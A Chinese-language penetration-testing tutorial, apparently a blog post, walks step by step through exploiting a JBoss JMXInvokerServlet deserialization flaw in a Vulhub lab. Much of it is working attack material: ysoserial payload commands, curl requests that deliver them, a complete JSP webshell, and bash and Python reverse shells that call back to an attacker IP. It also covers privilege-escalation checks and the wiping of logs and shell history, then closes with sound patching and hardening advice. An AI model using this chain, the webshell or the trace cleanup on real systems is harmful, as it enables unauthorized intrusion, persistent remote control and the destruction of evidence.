1. 项目概述:一次从信息收集到权限获取的完整实战
最近在整理内部安全测试的案例库,翻到了一个挺有代表性的老漏洞复现记录——JBoss的未授权访问漏洞。虽然JBoss现在用的人少了,但这个漏洞链的利用思路,从信息泄露到最终拿到服务器权限,整个过程非常经典,对理解中间件安全、Java反序列化以及Web渗透的逻辑很有帮助。很多新手朋友可能听说过“未授权访问”和“Getshell”这些词,但具体怎么从一个看似不起眼的访问点,一步步拿到服务器的控制权,中间的细节和坑点可能并不清楚。这篇文章,我就以一个完全从零开始的视角,带大家完整走一遍这个实战过程。我会假设你有一台刚装好的Kali Linux和一个存在漏洞的JBoss靶机环境,咱们的目标就是:从外部探测开始,发现JBoss的未授权访问点,然后利用这个点上传我们的WebShell,最终拿到一个可交互的命令执行权限。整个过程我会把每个步骤的原理、用到的工具、可能遇到的问题以及我踩过的坑都讲清楚,保证你看完就能自己动手复现出来。
2. 环境搭建与目标识别
2.1 靶机环境准备
要复现漏洞,首先得有个靶子。我推荐使用Vulhub这个漏洞环境集成项目,它用Docker封装了各种漏洞环境,一键启动,非常方便。首先,确保你的机器上安装了Docker和Docker Compose。然后,从GitHub上拉取Vulhub的代码。
git clone https://github.com/vulhub/vulhub.git
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
执行完上述命令,Docker就会在本地启动一个存在JBoss未授权访问漏洞的环境。默认情况下,JBoss的服务会运行在
8080
端口。你可以通过访问
http://your-target-ip:8080
来确认服务是否正常启动。如果看到JBoss的默认欢迎页面,说明环境就绪了。
注意:这里的“your-target-ip”需要替换为你运行Docker宿主机的IP地址。如果是在本机测试,通常就是
127.0.0.1或localhost。在虚拟网络或云服务器上,则需要使用对应的内网或公网IP。
2.2 信息收集与漏洞点探测
在真实的渗透测试中,我们往往不知道目标运行了什么服务。所以第一步永远是信息收集。假设我们通过端口扫描(比如用nmap)发现了目标的8080端口开放,并初步判断是JBoss服务。如何确认它是否存在未授权访问的漏洞点呢?
JBoss有一个著名的未授权访问漏洞存在于其
JMX Invoker Servlet
组件中。该Servlet默认配置下无需认证即可访问,并可以调用MBean的方法,这为后续的反序列化攻击打开了大门。探测这个点非常简单,直接访问一个特定的URL路径即可。
我们可以使用浏览器,或者更常用的命令行工具
curl
来探测:
curl -v http://your-target-ip:8080/invoker/JMXInvokerServlet
如果返回的HTTP状态码是
200 OK
,并且响应内容看起来像是一串乱码(其实是Java序列化后的二进制数据),那么基本可以确定这个漏洞点存在。如果返回
404
或者
403
,则说明该路径可能被删除或设置了访问控制。
实操心得:仅仅返回200并不100%意味着漏洞可利用。有些管理员会放一个空文件或假页面在这个路径来“欺骗”扫描器。更可靠的方法是检查响应头的
Content-Type,如果是application/x-java-serialized-object,那就铁证如山了。另外,也可以使用专门的工具如JexBoss进行更全面的检测。
除了
/invoker/JMXInvokerServlet
,历史上JBoss还有其他几个存在类似问题的Servlet,例如
/web-console/Invoker
等。在信息收集阶段,可以用目录扫描工具(如
dirsearch
,
gobuster
)搭配一个针对JBoss的敏感路径字典进行批量探测,以提高覆盖率。
3. 漏洞原理与利用链深度解析
3.1 为什么未授权访问是致命的?
要理解这个漏洞的严重性,我们需要先简单了解一下JBoss的架构。JBoss(现称WildFly)是一个Java EE应用服务器,它内部大量使用JMX(Java Management Extensions)进行管理和监控。
JMXInvokerServlet
就是一个允许通过HTTP协议远程调用JMX MBean方法的入口。
在早期版本中,这个Servlet的访问控制配置存在缺失。想象一下,你家别墅有一个专门接收送货员指令的后门(Servlet),本来只应该接收来自物业(可信来源)的指令,结果门上却没装锁(未授权访问)。任何路过的人(攻击者)都可以通过这个后门向屋里发送指令。
攻击者发送的“指令”,就是一段序列化后的Java对象。JBoss在接收到这个请求后,会反序列化这个对象,将其还原成一个Java类的实例,并执行其中定义的操作。这里就引入了第二个关键问题: 不安全的反序列化 。
3.2 从反序列化到命令执行
Java反序列化漏洞的核心在于,如果应用反序列化了攻击者精心构造的、包含恶意代码的对象,那么在反序列化过程中,这些恶意代码就会被执行。攻击者通常会利用Java类库中一些固有的、具有“危险行为”的类来构造利用链(Gadget Chain)。
在JBoss这个场景下,一个经典的利用链涉及
org.jboss.invocation.MarshalledValue
类。这个类在反序列化时,会调用其
get()
方法,进而触发其中包裹的另一个对象的反序列化。攻击者可以构造一个
MarshalledValue
对象,其内部包裹一个利用Apache Commons Collections库(一个非常常用的Java工具库)构造的恶意对象。
Apache Commons Collections 3.2.1及以前版本中,
Transformer
、
InvokerTransformer
、
ChainedTransformer
等类可以被巧妙组合,使得在反序列化时能够执行任意Java方法。最终,攻击者通过这条链,可以实现调用
Runtime.getRuntime().exec(“你的系统命令”)
,从而在目标服务器上执行任意系统命令。
简单总结一下利用链:
-
未授权访问
:攻击者可以无认证访问
JMXInvokerServlet。 - 接收序列化数据 :该Servlet会处理HTTP POST请求体中的序列化对象。
- 触发反序列化 :JBoss反序列化攻击者发送的恶意对象。
- 执行利用链 :反序列化过程触发Apache Commons Collections中的利用链。
- 实现命令执行 :利用链末端执行系统命令,攻击者获得远程命令执行能力。
注意事项:这个漏洞的成功利用有一个关键前提,就是目标JBoss应用的类路径(Classpath)中必须包含存在漏洞版本的Apache Commons Collections库(例如3.2.1, 4.0)。幸运的是,在JBoss 5.x/6.x等老版本中,这个库是默认包含的,这也是该漏洞影响广泛的原因之一。
4. 利用工具选择与Payload生成
4.1 工具选型:为何选择ysoserial?
手动构造这条复杂的利用链是极其困难的,好在安全社区已经有了非常成熟的工具——
ysoserial
。它是一个集合了多种Java反序列化利用链(Gadget)的生成工具,可以针对不同的库(如Commons Collections, Spring, Jdk7u21等)生成攻击Payload。
对于JBoss的
JMXInvokerServlet
漏洞,我们通常使用
ysoserial
的
CommonsCollections5
或
CommonsCollections6
利用链来生成Payload。这两个链在绕过某些限制和稳定性上略有不同,可以都尝试一下。
首先,我们需要准备好
ysoserial
。你可以从GitHub下载其JAR文件,或者直接克隆源码自己编译。
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
编译成功后,在
target
目录下会生成
ysoserial-0.0.6-SNAPSHOT-all.jar
(版本号可能不同)。为了方便,我们可以将其复制到系统路径或重命名为
ysoserial.jar
。
4.2 生成反向Shell的Payload
直接执行一个
whoami
或
id
命令可以验证漏洞存在,但我们的最终目标是获取一个交互式的Shell。因此,我们需要生成一个反向Shell(Reverse Shell)的Payload。反向Shell的意思是,让靶机主动连接我们攻击机监听的某个端口,从而在我们攻击机上获得一个连接回来的Shell。
假设我们攻击机的IP是
192.168.1.100
,我们打算在
4444
端口进行监听。在Linux/Mac下,常用的反向Shell命令是:
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
但是,
ysoserial
生成的Payload最终是通过
Runtime.exec()
执行命令的。这个函数执行复杂Shell命令(特别是涉及重定向
>&
和管道
|
)时可能会遇到问题。更可靠的方法是使用编码后的命令,或者使用支持直接执行
/bin/bash -c
的利用方式。
一种更通用的方法是使用Java的
ProcessBuilder
链,但通过
ysoserial
直接生成这样的Payload比较麻烦。一个实战中更高效的做法是:
先上传一个WebShell,再通过WebShell来执行更复杂的命令
。我们分两步走:
- 利用反序列化漏洞执行一个简单的命令:将我们的一句话木马(WebShell)写入到JBoss的Web目录下。
- 直接访问这个WebShell,用它来执行反向Shell等高级操作。
所以,我们第一步生成的Payload,其命令应该是:
echo “一句话木马内容” > /path/to/jboss/webapp/shell.jsp
。
我们需要知道JBoss的Web部署路径。在默认安装中,可能是
/opt/jboss/server/default/deploy/ROOT.war/
,但在我们的Docker环境里,路径可能是
/jboss-6.1.0.Final/server/default/deploy/ROOT.war/
。如果不确定,可以先用一个探测命令来找路径,比如
find / -name “*.war” 2>/dev/null
。
为了保险起见,我们可以先尝试一个简单的命令来测试漏洞并探测路径:
# 生成一个执行 ‘id’ 命令的Payload,保存为二进制文件
java -jar ysoserial.jar CommonsCollections5 “id” > payload_id.bin
5. 发起攻击:上传WebShell
5.1 发送恶意序列化数据
生成了Payload二进制文件后,我们需要通过HTTP POST请求,将其发送到目标的
/invoker/JMXInvokerServlet
。这里可以使用
curl
工具。
curl -X POST --data-binary @payload_id.bin http://your-target-ip:8080/invoker/JMXInvokerServlet -H “Content-Type: application/x-java-serialized-object”
关键参数解析:
-
-X POST:指定使用POST方法。 -
--data-binary @payload_id.bin:从payload_id.bin文件中读取二进制数据作为请求体。 这里必须用--data-binary而不是--data,以确保序列化数据的完整性。 -
-H “Content-Type: application/x-java-serialized-object”:设置请求头,告诉服务器我们发送的是Java序列化对象。这个头有时不是必需的,但加上更规范。
执行这条命令后,如果漏洞存在且利用链适用,服务器就会执行
id
命令。不过由于是反序列化漏洞,命令执行的结果
默认不会直接返回给客户端
。我们看不到
id
命令的输出。如何验证命令是否执行成功呢?这就需要用到我们之前说的“写入文件”的技巧。
5.2 写入一句话木马WebShell
我们来构造一个写入JSP WebShell的Payload。一个经典的JSP一句话木马如下:
<%@page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
这个木马的作用是:当访问它并传递
cmd
参数时,它会执行
cmd
参数值对应的系统命令,并将输出回显到网页上。
我们需要将这个多行的JSP代码,转换成一条能在
Runtime.exec()
中正确执行的
echo
命令。这里有个技巧:用
printf
命令配合
\n
换行符来写入多行内容。先将木马内容进行适当的转义(特别是引号和换行),然后拼接到一条命令里。
一个相对简单的办法是,将木马代码保存到一个本地文件,比如
shell.txt
,然后使用
ysoserial
执行一个能读取本地文件并写入目标路径的命令。但
Runtime.exec()
不支持管道和复杂的Shell语法,所以我们可以用
bash -c
来执行一段Shell脚本字符串。
最终构造的命令可能很长,例如:
bash -c ‘echo “<%@page import=\”java.util.*,java.io.*\”%><%if(request.getParameter(\”cmd\”)!=null){Process p=Runtime.getRuntime().exec(request.getParameter(\”cmd\”));InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>“ > /jboss-6.1.0.Final/server/default/deploy/ROOT.war/cmd.jsp’
由于命令字符串里嵌套了多层引号,在生成Payload时很容易出错。我的经验是,
先在一个可控的Linux环境里,测试这条复杂的
echo
命令是否能正确生成目标文件
。测试成功后,再将整条命令作为参数传递给
ysoserial
。
# 1. 在本地测试命令
bash -c ‘echo “test” > /tmp/test.txt’
cat /tmp/test.txt # 确认文件内容
# 2. 生成Payload (假设经过测试的正确命令为CMD)
CMD=“上面那串非常长的命令”
java -jar ysoserial.jar CommonsCollections5 “$CMD” > payload_shell.bin
# 3. 发送Payload
curl -X POST --data-binary @payload_shell.bin http://your-target-ip:8080/invoker/JMXInvokerServlet -H “Content-Type: application/x-java-serialized-object”
5.3 验证WebShell是否上传成功
发送Payload后,我们需要验证文件是否成功写入。最直接的方法就是尝试访问这个WebShell。如果JBoss部署在
8080
端口,Web根目录是
ROOT.war
,那么我们上传的
cmd.jsp
的访问地址就是:
http://your-target-ip:8080/cmd.jsp
直接在浏览器中访问这个地址。如果页面空白(没有报404或500错误),那么大概率是上传成功了。因为我们的木马在未接收
cmd
参数时,不会输出任何内容。
接下来,通过URL传递
cmd
参数来执行命令验证:
http://your-target-ip:8080/cmd.jsp?cmd=whoami
如果页面上显示了执行
whoami
命令的结果(例如
root
或
jboss
),那么恭喜你,你已经通过未授权访问漏洞,成功在目标服务器上植入了一个WebShell,获得了命令执行能力。
踩坑记录:这一步最容易出问题的地方就是文件路径和命令转义。
- 路径错误 :JBoss的Web部署路径可能因版本和安装方式而异。如果上传后访问404,首先检查路径。可以通过执行
find / -type f -name “*.jsp” 2>/dev/null | head -5这样的命令来寻找已有的JSP文件,从而确定Web目录。- 权限不足 :执行命令的用户(通常是
jboss用户)可能对目标Web目录没有写权限。可以尝试写入/tmp目录,但这样就需要其他方式(如文件包含)来利用。或者先执行chmod或chown命令提权,但这通常需要当前用户有相应权限。- 命令转义失败 :复杂的
echo命令在Runtime.exec()中可能被错误解析。如果多次尝试失败,可以考虑分步操作:先上传一个内容简单的文件测试命令执行,再尝试用wget或curl从远程服务器下载写好的WebShell,前提是靶机出网且具备这些工具。
6. 权限提升与交互式Shell获取
6.1 从WebShell到反向Shell
有了WebShell,我们就有了一个稳定的命令执行点。但通过Web执行命令,输出可能受HTTP响应限制,且没有交互性(比如无法运行
top
,
vi
这类需要终端的程序)。因此,我们需要一个真正的交互式反向Shell。
在攻击机上,先用
nc
(Netcat)监听一个端口:
nc -lvnp 4444
参数解释:
-
-l:监听模式。 -
-v:详细输出。 -
-n:直接使用IP地址,不进行DNS解析。 -
-p 4444:指定监听端口。
然后,通过WebShell触发反向连接。在浏览器访问:
http://your-target-ip:8080/cmd.jsp?cmd=bash+-c+‘bash+-i+>%26+/dev/tcp/192.168.1.100/4444+0>%261’
这里对URL中的特殊字符(如空格、
&
、
>
)进行了编码。
+
代表空格,
%26
代表
&
。这条命令是让靶机上的
bash
连接到我们攻击机的
4444
端口。
如果一切顺利,你会在
nc
的监听窗口看到连接建立,并出现一个Shell提示符。你可以尝试输入
whoami
,
pwd
,
id
等命令进行验证。
6.2 利用技巧与稳定性维持
直接使用
bash -i
生成的反向Shell可能不太稳定,容易中断。我们可以使用更强大的工具如
socat
,或者用Python、Perl、PHP等脚本语言来生成更稳定的Shell。前提是靶机环境安装了这些解释器。
例如,使用Python生成反向Shell:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.100”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’
通过WebShell执行这条Python命令,同样可以连接到我们的
nc
监听器。
为了获得一个更“舒适”的终端,我们可以在收到基本的反向Shell后,对其进行升级:
-
在反向Shell中,先检查当前终端类型:
echo $TERM。 -
使用Python的
pty模块生成一个伪终端:python -c ‘import pty; pty.spawn(“/bin/bash”)’ -
按下
Ctrl+Z将当前会话挂起到后台。 -
在攻击机本地终端中,设置终端类型并重新接管会话:
stty raw -echo fg -
然后输入
reset,再设置终端类型(如xterm-256color)和正确的行数、列数:export TERM=xterm-256color export SHELL=bash stty rows 50 columns 150
这样,你就获得了一个支持命令历史记录、Tab补全、清屏等功能的完整交互式Shell。
6.3 内网渗透初步与痕迹清理
拿到一个主机的Shell后,作为一次完整的实战演练,我们还需要考虑后续步骤。当然,在授权的测试环境中,我们到此为止即可。但了解完整的思路是必要的。
-
信息收集
:查看当前用户权限(
id,sudo -l),查看网络配置(ifconfig,ip addr,netstat -antp),查看进程(ps aux),查看敏感配置文件(/etc/passwd,/etc/shadow(需root),历史命令history)等。 -
权限提升
:如果当前不是root用户,需要尝试提权。检查内核版本(
uname -a)寻找本地提权漏洞,检查SUID/GUID文件(find / -perm -u=s -type f 2>/dev/null),检查可写的计划任务(crontab -l,/etc/crontab)等。 -
内网探测
:如果这台服务器处于内网,可以将其作为跳板,进一步探测内网其他主机。上传
nmap、masscan等扫描工具,或使用系统自带的nc、ping等进行存活探测和端口扫描。 -
痕迹清理
:在授权测试结束后,需要清理痕迹。删除上传的WebShell文件(
rm /path/to/cmd.jsp),清理Web日志(如JBoss的server.log,访问日志),清理当前用户的.bash_history文件(echo “” > ~/.bash_history或直接删除)。但请注意,在真实环境中,这些清理操作本身也会留下日志,专业的安全团队往往能发现蛛丝马迹。
重要提醒:以上所有关于内网渗透和痕迹清理的描述,仅用于技术学习和授权测试场景的理解。未经授权的测试和入侵是违法行为。
7. 漏洞修复与安全加固建议
复现漏洞是为了更好地理解它,从而进行防御。对于企业安全运维人员,针对此类JBoss未授权访问漏洞,应采取以下措施:
7.1 临时缓解措施
-
删除或限制访问Invoker Servlet
:这是最直接有效的方法。找到JBoss部署目录下的
deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml文件,将其中关于JMXInvokerServlet和ReadOnlyAccessFilter的映射注释掉或删除,然后重启JBoss服务。或者,直接删除invoker.war这个目录。 -
配置访问控制
:如果功能需要保留,则必须为其配置严格的认证和授权。在
web.xml中为/invoker/*URL模式添加安全约束(<security-constraint>),指定只有认证用户才能访问。 - 网络层隔离 :通过防火墙或安全组策略,限制访问JBoss管理控制台和Invoker端口的源IP,仅允许管理员IP或运维网络访问。
7.2 根本解决方案
- 升级版本 :将JBoss应用服务器升级到不受该漏洞影响的最新版本。新版本通常默认关闭或加强了这些高危服务的访问控制。
- 移除危险依赖 :如果无法升级JBoss,可以考虑从类路径中移除存在漏洞的第三方库,例如有漏洞版本的Apache Commons Collections。但需评估这是否会影响业务应用的正常运行。
-
部署Web应用防火墙(WAF)
:在JBoss服务前端部署WAF,配置规则拦截对
/invoker/JMXInvokerServlet等敏感路径的恶意请求,特别是包含Java序列化魔法头(AC ED 00 05)的请求体。
7.3 安全开发与运维实践
-
最小权限原则
:运行JBoss服务的操作系统用户(如
jboss)应仅拥有必要的权限,避免使用root用户运行。 - 定期安全扫描 :使用专业的漏洞扫描器或IAST、RASP等运行时防护工具,定期对中间件和服务进行安全检测,及时发现未授权访问、反序列化等漏洞。
- 关注安全通告 :保持对Apache Commons Collections、Jackson、Fastjson等常用组件安全漏洞的关注,及时更新或打补丁。
8. 从本次实战延伸的思考与防御视角
通过这次从零到Getshell的实战,我们清晰地看到了一条“未授权访问 -> 反序列化 -> 命令执行 -> 持久化后门”的完整攻击链。这不仅仅是JBoss独有的问题,许多其他中间件和服务(如我们热搜词里提到的Nacos、Redis、Rsync、Swagger-ui)都曾出现过类似的未授权访问漏洞,其危害本质是相通的: 暴露了本应受控的管理或API接口 。
作为攻击方(在授权范围内),我们需要锻炼的是这种“顺藤摸瓜”的能力:发现一个入口点,如何快速判断其风险,如何寻找利用方法,如何克服执行环境限制(如无回显、命令长度限制、字符过滤),最终达成目标。工具(如
ysoserial
)的使用是简单的,难的是在工具失效时,如何自己分析利用链,如何构造替代的Payload。
作为防御方,我们应该建立起“攻击者视角”的防御思路:
- 资产清点 :清楚知道对外暴露了哪些服务、哪些端口、哪些管理后台。
- 默认安全 :所有管理接口、API接口、调试接口,在非必要情况下都应默认关闭或施加强认证。不要相信“内网就是安全的”。
- 纵深防御 :不要只依赖一层防护。网络层的ACL、主机层的防火墙、应用层的认证授权、代码层的安全编码、运行时的安全防护(RASP)需要共同作用。
- 威胁监测 :对访问日志、系统日志进行监控,建立异常访问模型(如频繁访问特定敏感路径、请求体中包含序列化特征码等),以便在发生攻击时能快速发现和响应。
这次复现的漏洞虽然老旧,但其背后的攻防逻辑历久弥新。理解它,不仅能让你掌握一项具体的渗透测试技巧,更能帮你建立起对中间件安全、反序列化漏洞的深刻认知,这才是最重要的收获。在后续遇到新的、未知的“未授权访问”漏洞时,你才能举一反三,快速形成自己的测试和防御方案。

4678

被折叠的 条评论
为什么被折叠?



